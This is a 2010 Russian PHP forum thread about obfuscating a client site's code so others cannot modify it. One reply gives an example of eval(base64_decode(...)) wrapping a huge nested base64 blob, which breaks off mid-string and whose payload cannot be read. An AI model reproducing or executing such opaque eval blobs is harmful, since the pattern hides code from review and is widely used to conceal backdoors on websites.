[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Шифрование PHP кода
CyLon
Здравствуйте, можете дать совет, я делаю проект(сайт) для одной фирмы, написанный на php, можно как-то зашифровать php код для того что-бы в будущем кто-то туда не влез и не попытался изменить то что я написал? Так на всякий пожарный, думаю меня кто-нибудь поймёт, то-есть те кто сами сталкивались с такой ситуацией. unsure.gif



Спустя 30 минут, 56 секунд (30.10.2010 - 14:57) AlmazDelDiablo написал(а):
Попробуй посмотреть демо версию движка DLE. Там все файлы каким-то образом зашифрованы, может поймешь, как именно.

Спустя 30 минут, 45 секунд (30.10.2010 - 15:28) Michael написал(а):
Недавно столкнулся - так шифровали:
eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBoVjBad2IxbHJUbTloVm14WlZHMTRUMkZzU20xWGEyUlhZVzFKZVZWdGVFeFJNSEJvVmpCYWQySXhiSEpVYlRsb1ZtMTRXbFpITVRSVU1rWnpVMjB4V0dFeVVsaFpWekZLWlZaV2RHVkZlRkpOU0VKdlZtcENZV1F5U1hoaVNFcFZZbFJzYjFadE1UUlhiRnBJVFZSU1ZVMXJXbnBWTWpCNFYwZEZlVlZzYUZwV2VrWkxXbFphVjJSSFZrWmxSa3BPVTBWS2RsWnRjRU5aVjFGNVUxaG9hVk5GY0ZaWmJGSnpZakZhZEUxVVVsaGlSbkJKVkZaU1UxWlZNWEpYYm5CV1RXcENORll3WkVabFZsWnpZVVp3VjJWcldreFhiRnBoVmpKU1NGWnJXbXhTYTNCUFZUQldTMlJzV25SalJVNWFWakZHTlZVeGFHOWhWazVHWTBaYVdtSkdTbnBaYWtaaFpFVXhWVlZzYUdsU2JrSktWa1phVTFVeFdsWk5XRXBZWW01Q1YxUlhjRU5PUmxsM1drVmFiRlpzV25wWlZWcDNWakpXY2xkcmVGaGlSbkJvVm1wS1UxTkdXbkpYYlhoVFlUTkNVRlpVUWxkVE1sSnpWMjVTYWxKVk5XRldha1pIVGxaVmVHRkhPV2hXYXpWSFdUQmFZVmR0U2tkVGJuQmFZV3RhYUZwRlZYaFdWbFp6WVVkc1UySnJTa3RXYTFwaFZURlZlRmRzV2s1WFJYQlpXVzAxUTFZeFVsaGpSVTVQVW14c00xZHJWbUZpUmxwelYyNXdXbFpXY0ROV2FrcFhZMnhrY21WR2FHbFNia0p2Vm0xd1MxVXhUa2RYYmtwWVlsaG9WRmxVVGtOVlJscFZVV3hrVkUxRVJucFdNalZUVkd4a1NGVnNVbFZXTTA0MFZHeGFWbVZWTlZaUFZtUlhZbFpLU2xac1pEUlpWbVIwVWxob1YxZEhhR0ZXYkZwM1pXeHJlV1ZIZEdwTldFSkhWR3hWTVZZeVNuSlNhazVYVFc1b1dGZFdXbEpsUm1SWllrWk9hR0pJUWxWWFZsSkxUa2RHUjFkdVRsaGliVkpWVlcxNGQyVkdWblJrU0dScFVqQndWMVl5ZEdGV01ERjFZVVJPV2xac2NISlZNR1JIVTBVNVYxcEhhR2hOV0VKMlZtMTRVMU14VlhoVWEyUllZbXR3YjFWcVRrTldSbEpZVFZjNVZsSnRVbGxVVldodllVVXhSVlpyYUZkTmFsWklWbXRhYTFOR1ZuVlRiRlpYVm10d1dWWlVSbUZXYlZaV1RsWmFVRll5YUZSWlZFNUNaREZhYzFsNlJsTk5WbkJZVmpGb2QxVnRTa2hoUm1oVlZsWndNMWRXV25kU1ZrcDBVbXhrVjJFelFYZFhWRUpXVFZaWmQwMUlhRk5YUjJoWVZGYzFVMWRHYkZWUldHaFVVbXMxZVZkcldtOVhSa2w0VTI1a1YxWXpVbWhhUkVaclVqSktTVlJzV21sU01VcDRWMWQwWVZkck1YTldiR1JvVW5wc1dGUldXbmRsVmxsNVkwVk9WMVl3Y0VoWk1HUnZWakZhUm1ORmVGWmlXR2h5VmpGa1QxSXhjRVpPVjJ4b1RVaENSbFpxU2pSV01XeFhZa1prVldFeVVsWlpiWFIzVjBac2MxWnRSbGRTYkd3elZqSjBNRll4V25OalJXaFlZVEZLVkZaclZYaFNWa3B6WVVaa1RtSnNTbmxXYWtKclV6RktjazVXWkZkaVNFSndWVzAxUTJJeFpITlhiVVpXVFZac05WVnRkR0ZaVmtwMFZXeG9XbUV5YUVSVk1uaHJZekZhZEdSSGJFNVdia0paVm1wR2IyUXlSa2RUV0dSWVlsZG9WMWxVUm1GaFJtdDVaVWRHYWxacmNERlhhMXBQVmpKS1IySXpaRmhXUlVwWFZGWmtSMUpyTVZkaVJrcG9UVEZLV1ZkWGVGTlJNREI0WTBaYVlWSllRbk5WYWtKM1UwWmtjbGRzVGxoU2EydzFXVlZhZDFkR1duUlZWRUpZVm14d2VsWnFSbGRqTVZwelZXMW9hVkpZUWpWV2JUQjNaVVV4UmsxSWFGaGlhelZYV1d0a1UxWnNVbGRYYm1Sc1lrWnNOVlJzWXpWV01rcEhZbnBLVm1KWVVuWldha0Y0VWpKT1JtUkhSbGRpU0VGNlZsZDRZVlV5VFhoalJXUmhVbTFTY0ZsVVFuZFZNVnAwWlVjNWEwMVZiRFJXYkdodldWWktXRlZzV2xwaE1sRXdXVEJhVjJOV1JuUlNiR1JYWWtad05sWnRNREZoTWtWM1RWWm9WbUpIYUZsV2ExVXhZMnhhUlZKc2NHdE5SRlpYV1ZWYWExWXdNSGhUYWtwWVZteHdhRlY2U2s5amF6VlhXa2RvVTJKclNuZFdWekUwVjJzeFIxZHJhR3hTTUZwaFZtcEdTMUl4VW5OWGJrNVhWakJ3U1ZaWGVHOVdWbHBZWVVWU1YwMUdjR2haTVZwUFpGWndSMU5yTlZkTlZYQkxWbXhTUzAxR2JGZFZiazVWWVRKb1YxbHNWbUZYUm14ellVYzVhRkp1UWxsYVZWcHJZV3hhY21OSWJGaGhNbEYzVmxSQmVGSXlUa1pqUm1oWFVsVndXRlpHV21GVk1rMTRWRzVLV0dKRk5XOVphMXAzVjFaYWRHUkdaRnBXTURWNldWUk9jMkZyTUhsaFJsWldZbGhTTTFZeWVITldiR1IwWkVkb1UxWkZXWGRYVmxaaFZqRmtSMWRxV2xKWFIyaFhWbXRXZDFWR1duRlNiR1JxVFZad2VsWlhNWE5WTVZwSFYyeEdWMDFYVVhkWlZFRjRVbXMxVjFwR1dtbFNNVXBhVjFaU1QxVXlTWGhWYkdSWVltMVNXVlp0TlVOV01XeFdZVWQwV0dKR2NIcFpNRnB6VjJ4YVYyTklXbGRoYTNCTVZqRmFVMk5XVm5SU2JFNVhUVlZ3VlZZeWVHdE9SMUY0VTFoc1UyRXlhSEJWYlhNeFlqRlNXR05JU2s1V2JIQjRWVzB4UjFkc1duTmlSRTVWWWtaYWRsWnNaRVpsVmxaellVWndhVmRIYUUxV2JGWmhXVmRPVjFKdVVsTmlXRUpQVm1wT2IxWXhXbGhOVkZKclRWWktlbFl5TlU5aGJFcFlZVWRHVjJKSFVuWlpNbmhoWTJ4d1JtUkdaRTVXTVVsNFYxUkNZV0l5UmtaTlZscHFVbTE0V0ZSV1duZGhSbFkyVW0xMFZGSnNjSGxaYTFwTFlWWktjMk5HYkZkV00yaFlWbXBCZDJWR2NFbFRiRnBvVFd4S1YxWkdaSHBOVm1SSFZsaHNiRk5GTldGV2JYUnpUbXhhV0dWSE9WZE5hMXA1Vkd4b1lWWlhTbGxoU0VwYVpXdGFhRnBGVlRWV01YQkdUbFprYVdFd2EzaFdiWFJoV1Zac1YySkdaR0ZTVjJoVVdWZDRkMWRHYkhKWGJVWllVbTE0ZVZkcldrOWhNa3BIWTBaa1YwMXFWbEJaVnpGTFUxWkdjbHBHVms1V01VWXpWbTF3UzFNeFdYaFViR3hoVW0xb2NGVnRlSGRsVm1SeVZXdDBVMDFWYkRSWGEyaFBWMGRLV1ZGc1VsZE5SMUoyVmpGYWExZEhVa2hTYkhCWFlraENTVmRVUWxkaU1WSnpWMnhvVm1KSGFHRlphMXAzWVVaVmVXVkdaRmhTTVZwSlZXMHhiMVl3TVVsUmFsWlhWa1ZzTTFSc1dscGxWa3AxVTJ4U2FWWXlhRmhXUm1SM1VqRlZlR05HV21GU1dGSlVWRlpvUTFOR2EzZGFSRkpvVWxSR1dsVlhjRTlXTURGWVZWUkNWMkpVUmxoVmJYTXhWbXh3U0dKR1RsTmlhMHBYVm0weE1GWXhiRmhUV0doWVlteEtUMVp0Y3pGV1ZscDBUbFZPVjAxV2NGbFVWbFpyVjBaSmQxZFVTbFppV0doNlZtcEdZV1JIUmtWVWJHUk9ZV3RhVFZacVJtdFNNVTVYV2toT1lWSXlhRzlVVkVKTFZWWlplV1ZIUmxkaGVrWllWMnRXYjFVeVJYbFZiRnBhWWtkb2Rsa3dXbHBrTVhCR1QxVTVWMkpJUWpSV1ZFcDNVVEZaZDAxV1pGTmhiRnBYV1d0a2IyUnNiRmhsUlhSWFRXczFTbFpIZUdGVWJFcHpZMFV4VjJKWWFHaFpla3BPWlVaa2MxWnNUbWxYUlVwVlYxZDRiMkl3TlZkWGJsSnNVbXMxVkZSV1duZGxWbEpYVjIxMGFHSkZjRmxXVjNodlZtMUdjazVXVWxkV1ZuQjZWakJrVG1WdFJraGpSMnhYVjBWS1NGWnRNSGhPUjBsNVVtdGFUbGRHU205VmJGcGhWMVphZEdWSVpHcGlSbHA0VlRKNFQxVXlSalppUm1oYVlURndURmxXV2t0ak1rNUhWbXhrVTJKVk1UUlhWM0JIV1ZaWmVHTkZiRlZpVlZwVVZXMTBkMlZXV2tkWGJYUldUVmRTU0ZZeU5WTlVNVnBZVld4a1dtSkdXak5XTVZwelZteGtkRTlXY0ZkaVIzY3lWMVpXYTJJeFdsZFhiazVxVTBWd1dGUldaRk5WUmxaMFpVaGtWRkl4V2tsWmExcHJWMFpLVmxkWWNGZGlXR2hVVlhwQk1WTkdVbGxpUms1cFVqRktWMWRXVWt0T1JsVjRZa2hTYTFJd1dsbFZiVEUwVjFacmVtTkZaR2hpVlhCS1ZWZDBiMVl3TVhGU1dHUlhWa1ZHTkZZd1dsZGpWa3B6WTBVMVUwMVZiekpXTVZwaFdWWnNXRlJ1VWxWaE1taFVXV3RrVTJJeFVsaGpla0pPVW14d1NWcEZaREJWTURGelUydG9WazFxVmxCWlZWcExZekpPU1ZGc1pFNVNia0pOVm0xd1IxbFdaRWhVYTFwclVsUnNWRmxZY0VaTlJsbDVaRWM1VTAxV1ZqVlZNblJyWVd4T1JrNVdaRnBpUjJoVVZGUkdkMVl4WkhOVWJHUk9WbTVCZUZZeWRHRmhNVlY1VWxod1VtSkhhRmxXYTFaTFpHeGtWMWR0ZEZOTldFSkhXV3RhUzJGV1NsWmpSbXhYVmpOQ1VGWkhNVmRTTWtWNllrVTFWMWRHU2xaV2JURXdXVmRXVjFWWWFGaGhlbXhXV1Zod1IxWXhhM2RWYkU1WFRXdFdORmt3YUV0V1YwVjRZMGhLWVZKV2NGaFdNV1JIVTBkT1IxUnNaR2xoTUhBeVZtMTRVMUV4V25KTlZtaFZZbXMxV1ZsdGVFdFVNVlp5VjIxR1ZsSnRlSGxXTWpWclZrWmFjMU5zYUZkaVdFSkVWbXBHUzFaV1NuSlhiRnBwVmtaYU1sWnRNSGhUTVVsNFZHNUthRkp0VWs5WlYzUmhWMVprVlZOdWNFNVdiSEF3VlcxMGEyRnNTWHBoUnpsVlZsZE5NVlJzV2xwbFYxWkhXa1prYVZac2NFbFdNblJYWVRGYVdGTnVTbXBUUlhCWFdXdGFTMWRHV2tWU2JHUnFUV3RhUjFaSGN6RmhWa3AwWkhwQ1dGWnNXblpaVkVaaFZtc3hWMXBHVG1oaGVsWlhWbTE0YTJJeVZuTlhia3BZWWxoU1ZWWnRkR0ZsYkZwMFpVaGthRlpyYkRWWlZWcFhWakpGZUZkdGFGZFdSVnBoV2xWYVlXUldUbk5WYldoc1lrWndVVlp0TVRSVk1WbDNUbFprWVZKdFVsaFpiRlpoVm14U1dHUkdaRTlTYkZZMFdWVmtNRlpWTVZkalJtaGFUVVp3Y2xZeU1VWmxWbFoxVjIxR1YwMHlhRzlXVkVKV1pVWlplR05GYUdwU01uaFlWakJXUzFOR1duUmxSM1JQVW0xNFdGWnNhSE5WTWtaelkwWm9XbUV4Y0doV01WcHpZMnh3UjFOck5WTmlhMHBIVmxjd2VFMUdXWGROVm1ScVVrVmFWMWxzYUc5VVJteFhWMnh3YkZZd1draFphMXB2WVZaSmVGSllaRmROVm5CWFdsVmFXbVZIVGtaYVIyeFRUVEJLVlZadGNFZFRNbFp6V2tab2JGSnRVbkpVVjNoaFpXeGFjMkZJVG1sU2EyOHlXV3RhWVZkdFJYaGpTSEJWWWtad2VsWnRlSE5PYkZweldrVTFhRTFZUVRGV2EyUTBZakZOZUdKR1pGUmlhelZ4VlRCV2QxWXhiRmhrUjBaWVVtNUNTRmRyVlRWV1JrbDNWMnRrVldKSFVuWlphMlJHWlVaYWNWVnNaR2xXUlVsNlYyeFdhMVZ0VmtkVGJHeHBVbXMxV1ZWcVNtOVdiRnB4VVcxMFQxSXdNVFJXYlRWTFZqSktWbGRzYkZkaVZFVXdWakZhY21WdFRrWmFSbVJwVWxoQmQxWnNaRFJqTVd4WFUyeG9hRkl5YUdGV2ExWkhUa1phY1ZOck9WTldhM0I2VjJ0YWExUnJNWFJhUkZwWFlsUkdNMVZYTVZkVFJsWnpZVVpPYUUxV2NGcFhWM1JoWkRGUmVHSklVbXRTV0ZKVlZXMHhVMlZzV25STlZXUm9ZWHBHZVZSc1VrTldhekZZWVVST1dsWnNjRXRhVm1SSFVqRmFjMWR0YkZkU2JIQkdWako0VjFsV2JGZFRXR2hYWW10d2FGVnRjekZVTVd4eVZtNWtXRlpzYkRWYVJWcHJZVVV4VjJOSWNGaGhNVnAyVm0weFMxWlhTa2RoUm5CWFRURktTVlpIZEdGVk1rMTRXa2hPVldKSFVrOVdiWGgzVGxaYWNsa3phR2xOYTFwWVZUSjRhMkZGTUhsbFJtaGFZa1pLU0ZSVVJsZFdWa3AwWkVaT1RsWXhTWGhXYkdRMFdWZEdXRk51U2xSaVYyaFpXV3RrVW1ReFZYbGpNMmhUVFdzMVIxZHJXbTloUjFaMFpVaG9WMkpVUlhkYVJFcFhWakpGZWxwSFJsTmxiWGgyVm0xd1ExZHJNWE5YYmxKcVVtMVNXRlJWVWtkWFZteFdWV3M1VjJKV1dubFdNakZIV1ZaS1JsSnFVbGRpVkVaSVZXcEdhMlJIUmtaT1YyeFhUVzFrTmxadE1UUlZNVVY0WWtaa2FWSnRhRlJaVkVwVFZqRnNjbGR0UmxaTlZuQjVWbTB4UjJGVk1WZGpSRUphVFROQ1NGbHJXa3RqTVdSellrZEdWMVl4UmpOWFZsWldaVVphZEZSclZsSmlWVnBZVm0wMVEwNXNXbkZUV0doVFlsWmFXVlZ0ZEd0VmJVcEhZMGhPV2xaRlNtRlVWVnBoWkVkV1NGSnNVazVpUlhCS1ZsUktNR0V4V25SVGJHaG9VbnBzYUZacVRtOWhSbFowWlVad2JGWXhTa2xaTUdRMFZUSktSbGRVUmxkaVIxRXdXVlJHV21WV1RuSmhSMmhUWVRCd1dWZFhlRk5TYXpGSFYxaGtXR0pIVW5GWmExcDNaVlp3UmxwRVFsVmlSbkF4VlZkMGMxWXdNWFZWYmxwYVZrVmFZVnBXV2s5ak1XUnpZVWRzVTAxVmNGaFdhMXBoV1ZaTmVGcEZaRmhpYkVwUFZteG9VMk5zV25Sa1IwWk9VbTE0VjFZeU1UQldWMHBHWTBSR1ZsWXpVVEJXTUdSR1pVWk9jbUZHY0d4aE1YQm9WMnhXYTFNeFNsZGFTRTVWWWxkNFdGUlVTbTlOTVZwMFRWUlNWazFWY0hsVVZsWnJXVlpLZEdWSVJsWmlSMmhFVmtSR1lXUkhWa2RhUlRsVFlrZDNNVmRVUW10U01WcHlUVmhLYWxKc2NHRlpWRXBUVTBaYWNWTnJkRmRXYTNCNlZrY3hSMVl3TUhsaFJGcFlZVEZhY2xacVJrOVNhemxYV2tkR1UxWkdXblpYYkdRd1ZtMVdSMWR1U21GU1JrcGhWbXBHUjA1R1pISldiWFJYVWpCd2VWUnNhRU5XYlVWNFZsaG9WMDFXY0doYVJXUlhVMFpLYzFkc1RtbFhSMmhZVm14amQwMVhSWGhXV0dST1ZteHdXVmx0TlVOWFJscHhWRzA1VjFKc2JETldNblIzWWtaWmQxZHJaR0ZXVm5CMlZtcEtTMVpyTVZWVmJHUm9UVlZ3VFZaclVrdFViVlpYVkc1S1YySkhhSEJWYlhSM1pERmFXR05GWkZSTlZscElWako0YjJGc1NsaFZiRlpWVm14VmVGWXdXbk5qYlVaR1pFZG9VMkV6UVhkV2JHTjRVakZaZVZOclpGUmhNVXBXVm10V1lWWkdiRFpTYm1SVVZteEtlbGRyV2s5VWJFcDFVVlJHVjJKR1NreFVhMlJLWlVkS1IxcEdVbWxTTVVwNFZsUkNiMUV4WkVkVmJGcGhVbXMxVmxWdGVGZE9SbGw1WlVVNWFHSlZjRmhWTW5SclZsZEtSMk5JU2xkV1JWcG9Xa1phUjJOV1VuTmFSMnhUWVROQ1RsWXlkRk5TTVZaMFZtdGtZVkp0ZUhCVmJURlRZMFpzV1dOR1pHeFNiSEJaVkZWb2IxUXhTbk5qUm1oWFRXcFdXRmxYZUV0a1JsWnpZa1p3YUUxWVFYcFhiRnBoV1Zaa1NGVnJXbEJXTW1od1ZXeG9RbVF4WkhKV2JFNVZUVmRTU1ZWc2FHOVhSMHB5WTBkR1YyRXhXak5XUlZwaFpFVXhWazlXVG1sV1dFSkpWakowYTJNeFdYaFRiR1JZVjBoQ1dGbHJXa3RUTVhCV1YydHdiRlpzV25wWGExcGhZVmRLUjJOR1dsaFdNMUoyVlZSS1RtVkhTa2RXYkZab1RVUldXbFp0TVRSa01VNUhWMjVTVGxaRlNsaFpXSEJIVmpGU2MxWnVUbGRoZWtZeFZsYzFkMVl5Um5KalJYaFhZbGhvY2xreWN6VldNVnB6V2taa2FFMHdTbUZXYWtaVFVURnNWMWR1VWxkaVIyaFdXVlJHZDFac2JISmFSazVWVFZkNGVWWnROV3RXUmxwMFZXeHNZVkpYVWtoWlZsVjRZMnhrYzJGR1pGTk5NVXB2Vm10U1IxbFdaRmhTYTJSWVlrZFNjRll3Wkc5VVZscFZVVzFHYWsxV2JEUlhhMmhMVlVaWmVsRnNhRnBoTVZvelZHeGFZV05zYTNwaFIyeE9WbXhaZWxaR1dsZFdNVlY0VjJ0YWFsSnRhR0ZXYTFaaFRURnJlRmRzVGxkTlYxSXdXa1ZhYTFSc1dYaFRhbFpYWWxSRk1GVjZTa2RYUmtwWldrZHdVMDF0YUZsV1Z6RTBaREpPYzJKSVJsUmhlbXh4VkZkMGQxTnNWWGxsUjNSWVVtdHNOVmxWV25OV01rcFZVbXBhVlZac2NISlpla3BHWld4d1IyRkhiR2xXYTNCaFZteGplRTFIVVhoWGJrNVlZbXhLVUZZd1ZURlhSbXhaWTBWa1dGWnNjRmxaTUZVMVYyeGFjMko2U2xaaVdGSnlWMVphWVdNeVRrZFZiR1JPVmpGS1RWWlhjRWRrTVU1SVVtdG9hRkpVVmxWVmJGWnlaVVphZEUxVVVtaE5iRVkwVmtab2ExUXhXbGRqUlRsWFlsUkdWRmxWV2xaa01WcDBVbXhrYVZJemFHRlhWRUp2VkRGa2MxZHVVbXhTYkhCWFZGWmFTMWRHV2toak0yaFhUV3MxUmxWWGVGZGhWa3AxVVd4R1YyRnJTbkpWZWtaS1pWWk9jbFpzWkdsV1ZuQlpWbTF3UzJKdFZuTlhibEpyVWpOU1ZGUlhjekZsYkZsNVRsVmtWMkpWY0VsWlZWcHZWbFphUmxkcmRHRldiSEJ5V1hwR2EyUkdTblJoUlRWcFVsaENZVlpzVWt0TlIwbDVVbXhrVkdKR1dsaFpiRkp6V1ZaYWNsWnJkRTVpU0VKWFZqSXhSMkZzV25KWGFrSldZbGhvYUZsV1dtRmpiR1JWVW14a1YyVnJWWGRYVjNCSFdWWmtSMU5zYkdsU01taFVXV3RXZDJGR1pGaGxSemxwVFVSQ05GbFVUbXRYUjBwSVZXNUdWMkpZVWpOVVZWcFhaRVV4V1ZwSGFGZGhNMEkyVjFSQ1lXSXhXWGROVm1SVVlrVktZVmxYZEhkVFJsWnhVbXM1V0ZadVFraFpWV1J6VlRBd2VXRklXbGRpUjFGM1ZtMXplRll4Y0VaYVIyeFRZbGRvVUZadGVHOVZNazVYVld4a1dHSnRVazlXYlhoaFYxWndWbGR0ZEZkV01Ga3lWVzF3UjFkc1dsZGpSbWhYVFVad1lWcFhlRmRrVms1elYyMTRhRTFZUWpWV2JHUjNVakZSZVZWc1pGaGlhelZWV1d4a05GZEdVbFZUYlRsWFlrWndlbGRyVWtOV01ERldUVlJXVjFadGFIWlhWbHBMWXpGa2MxUnNjR2xTTW1oVlZtMTBZVlV4WkVoV2ExcHJVbFJXVkZscldscE5WbVJ5Vm0xd1QxWnNiRE5VVm1oTFlXeEtkVkZzYUZkaGF6VjJWbFZhWVdSRk1WWmtSM1JYWVRGd05WZFdWbUZrTWtaSVVsaG9hbEpHY0ZoWmJHaERVMFp3UlZKcmRGZE5WbG94VmxjeE1GVXlTbGRUYkVKWFZqTlNhRlpxUVRGU01XUjFWV3MxVjFKcmNIWldSbVI2WlVVMVIxZHVVbXRTTUZwV1dXdGtVMU5HVlhsT1ZUbFhZbFZXTkZZeU1XOVdNREZYWTBkb1drMXVhR2hhUmxwclkyczFWMVJ0YkZOWFJVcGhWbTB4ZDFOck1WaFNXR2hZWVRKU1ZWbHRjekZqVmxaeVZtdDBXRkpzU2xsWk1GWnJZa2RLUjJORmJGVldiRnB5V1ZkemVGZEdWbkZTYkhCWFZtNUNlVlpyWTNoVE1sSklVbXRrVTJKSGFGaGFWM1JLVFVaYVdHTkZaRmhpVmxwWVZsYzFTMWxXU1hsaFJsSlhZVEZ3YUZZeFdtRlNNV3Q2WVVkc1RtSkZjRFpXYWtreFZUSkdjMU5zVm1sVFJVcFdWbXBPYjFSR1ZYZFhia3ByVFZad01GcEZXbTloVmxwelkwUldWMkZyYkROVWJGcHJZekZrY2xkck9WaFNia0pYVm0weE5HUXhaRWRYV0dSWFYwZG9WRlp0ZUhkTlJteFdXa2hPVmsxV2NIcFphMUpoVmpBeFdGVllaRnBoYTNCSFdsVmFhMk14WkhKT1ZsSlRUVEpvTmxac1kzaE9SazE0WWtaa1ZtSkdjR2hWYlhNeFZteFdkRTVWVGxOTlZtdzFWRlpTUTJGRk1WZGpSRUpYVm5wV00xWnRNVXRYVjBaSlUyeHdWMVpzV1RCV1ZFSldUbFpPV0ZKclpHRlNNbWh2VkZkd2IwMHhXWGhhU0dSVFRWVndNRlp0ZUd0V1IwcHlZMGM1Vm1KWWFHaFpNRnB6WTJ4YWRWcEdhRmRpVmtwWlZteGtNR0V5UlhkTldFcFBWbGRvV0ZSWGNGZFRSbHBZVFZWMFYySkhVakZWTW5oWFZqSktWMUpZWkZoaVJuQm9WMVphVDFKck1WWldiRTVwVmpKb1ZWWnRkRmRaVm14WFYyeGtZVkpHU25GVVZscDNWMFpaZVU1V1RsZGlWWEI2V1RCa1IxWXlTa2RqUkU1WVZteHdNMVl3WkZkVFZuQkhWV3hrVGxKR1drcFdiWGhyVGtkRmVGVnVTazVXYkhCeFZXeG9RMWRHVWxkYVJ6bE9UVlpaTWxWdGN6RmlSa3B5VGxoc1dHRXhjRkJaVm1STFVqSk9TRTlXWkZkbGEwWTBWbFpTUjJFeFdYaFhibFpWWWtad2NGVnROVU5WUm1SWVpFZDBWazFzV2xoV01uaHZZVEZPU0ZWc1dsVldiSEI2Vkd0YVdtVlhWa2hQVm1ob1pXdGFTVlpxU1RGa01WbDVVMnRrYWxJd1dtaFdiVEZUVjBaV2RHTjZSbGROVjFKNlYydGFUMVl5U25KVGF6VlhZV3R2ZDFaVVJrcGxWa3BaWWtaV1dGSXphRlZYVmxKTFlqRldWMWR1VGxaaVIxSllWVzE0YzAweFdYbGtSRUpYVFVSR1dWWlhlSGRYYXpGSFYxaGtWMUl6YUV0YVJFWnJaRmRLUjFac1pHbFdNbWhTVm0xd1ExbFhSWGhVYTJSWFlteEtiMVZ0ZUhkalJsWnhVbXQwVjFadFVucFhhMUpUWVRBeFZtSkVVbGhoTW1oWVZqQmtTMWRYUmtsUmJGcHBWMFpKZVZkclVrZFpWbHBYVkc1R1VtRjZWbFJaYTFaM1RteGFWVk5VUmxWTmExcFhWRlZvYzFadFNraGhSbHBYWWxob00xUlVSbkpsVjFaSlZHczVhVkpVVmpWV1IzaHJUVVpTZEZKWWJHdGxhM0JaVm0xNFlWWXhVbGRYYkZwc1VtczFXbGt3Wkc5Vk1WcEdWMnhzVjJKWVVsaFZla3BIVWpGYWNWZHNTbGhTTW1oVlZrWmtNRll3TlhOYVNFcFlZbFZhYjFWc1VrZFhiRlpZVGxoa1YwMXJjRnBaVlZwVFZtMUtXVlJxVWxwbGExcG9WakZrUjFOSFJrZFViWGhwVjBkb1dsWnRlR3RrTVVsNFlrWmtZVkpYVWxoV01HUTBZMVpXY1ZGdFJsaFdiWGg2Vm0wMWExWkdXblJsUm1SWFRXNW9VRll5ZUdGamJVNUdXa1prVG1Kc1NsVldiWEJMVW0xV1NGUnJXbWhTTUZwVVdXdG9RMkl4WkhKV2JVWlVUV3N4TlZWdGRHdFdWMFkyVm14U1ZtSllhSHBVYTFwaFpFZE9SbHBIYkU1aVJWa3dWbXRqTVZVeFdYbFNXR2hxVWxSc1dGbHJaRk5rYkZwMFpVaE9WMVpyY0hsYVJWcGhWR3hhZFZGWWFGaFdSVXAyVmtSR1lWWXhUblZVYkdocFlsZG9XRlpHWXpGUk1WcEhWMnRvYkZJd1duSlZiWGhoWlVaV1dHVkdaRmROVm5CNVdUQmFjMVl5Um5KaVJGSldZV3RGZUZsNlJrOWtWazUwWVVaT2FWSnVRbHBXYlRGM1V6SkplRk5zWkZoaWF6VllXV3hvVTFkR1VsZFhiazVQVW14d1NWUnNWbXRYUmtsM1kwVndWbFo2VmtSV2JURkhZMjFPU1Zkc1pHbFNia0o1VjFSS05GWXlUbk5WYmtwUVZtczFjRlV3Vmt0WFZscHlXa1JTV2xZd2JEVlZiVFZQVmtaa1NHVklUbFppUmtwNlYxWmFZV05XVW5SUFZuQlhZbXRLV0ZacVNqUmtNa3BIVjFob1dHRXllR2hWYkZwM1YwWmFTR1ZGZEZOaVIxSjVXVlZhYjJGRk1WZGpSbXhYWWtaS1NGZFdaRk5TTVZKMVZteFNhVkpyY0hkWFZsSkRaREpHUjFwR2FHdFNNRnB5VkZWU1EwNUdXbGhsUnpscFVtdHdNVlZYTlU5WGJVcEhWbGhvVm1GcldtaFZNRlY0Vm14d1IxZHJOVmROVlhCS1ZteFNTMDVIUlhoYVJXaFRWMGRvV1ZsdGVIZFdNVnB5Vm0xR2JHSkdiRE5XTW5Rd1lXc3hXRlZ1Y0ZkU2VrWjZXVlphVDFKc1RuTmpSbVJwVmtWV00xWnRjRXRWYlZaSFkwVmFZVkl6UWxSV2FrWkxWMnhrV0UxSWFGWk5WbkJJV1d0b1MxZEhSWHBWYXpsWFlsaG9lbFJzV2xOV01rWkdUMVpvVTJFelFqVlhWRUpoWVRGa2NrMVZaRlJpVjJoWVdWZDBSMDVHY0VkYVJXUlVWbTFTZWxkcldtdFZNV1JHVTJzMVYySkhVak5WYWtaU1pWWlNXV0pHVG1oTldFSlJWbTB3ZUZVeFVYaGlTRTVoVW5wc1QxbHJXbmROUmxKWFlVZDBWMVpVUm5sV2JYQlhWakZhTmxac1FsZGlSMUpNV1RJeFQxTkZPVmRYYld4VFlUTkJNbFl4VWt0T1JsbDVWR3hrVkdKcmNISlZiWGhMWTBaV2RHVklaRmhXYlZKWVZtMTRZVlF4V25OalJXUlZWbXh3YUZsV1drdFNNV1IwWVVaa2FWSnVRazFXVkVKaFYyMVJlR05GV210U2JWSllXVlJHZDFZeFdsaE5WRkpwVFZac00xUlZhR3RVTVVwR1UyeG9XbUpIYUVSVlZFWjNWbXhrY2s5V1pFNVdXRUY0VmxSSmVFNUdWWGxUYTJ4U1lrVktXRlpxVG05alZsSnlXa1prVTAxWFVqRlZiWGhUWVVkS1JtTklaRmRTYkhCb1ZtcEJkMlZHVm5OYVJtaHBWa2Q0V1ZadGNFTmtNbFp6Vmxoc2JGSlZOVmhaYkZaaFpWWnJkMWRzVGxoaVJuQllXVEJvZDFkdFZuSlhiV2hoVWxad1RGcEZaRmRUUjBwSFZHczFUbUY2VVhoV2JURTBWVEZOZDA1VlpHbFNiVkpYVmpCa1UxUXhXbk5hUkZKV1RWZDRWbFpIZEU5WFJrcHpWMnBHV2sxR2NISldha1pMWkVkV1IxZHNXbWxYUlRCNFZteFNTMU14U25SVWEyeG9VbXh3V0ZSVVNtOWlNVnB6Vld0MFYwMXJNVFJYYTJoTFlWWktkRlZzVWxwaE1taEVXbFphWVZkSFRrWmFSMmhPVm0xM01GWnFTVEZVTWtaSFUyNUtWR0pIYUZoVVZXUlRaR3haZUZkdFJsZFdhMW93VlcxNFQxUnNTa2RYYTJ4WFRXNVNhRmxxUmxOak1VNXlWMnhvYVZKdVFsZFdiWEJQVlRBd2VGWllhRmhpVlZwWlZXcEdTMU5HV2tobFNHUlhUVlp3UjFZeGFHOVdNa3BJVkZob1ZtRnJXbWhXYWtaclYxZE9SMU50YUU1aVYyaFlWbTB4TUZZeGJGWk5TR2hYWW14S1QxWnNaRk5XUm14eVZsUkdUbEp0ZEROV01uTTFWakF4Vm1KRVZsaFdSVFY2Vm1wS1JtVkhUa2RoUm1SWFpXdGFWRmRzV21GVE1rMTRXa2hTYTFKck5YQlZiR2hEVFd4WmVXVkhjR3hTYkV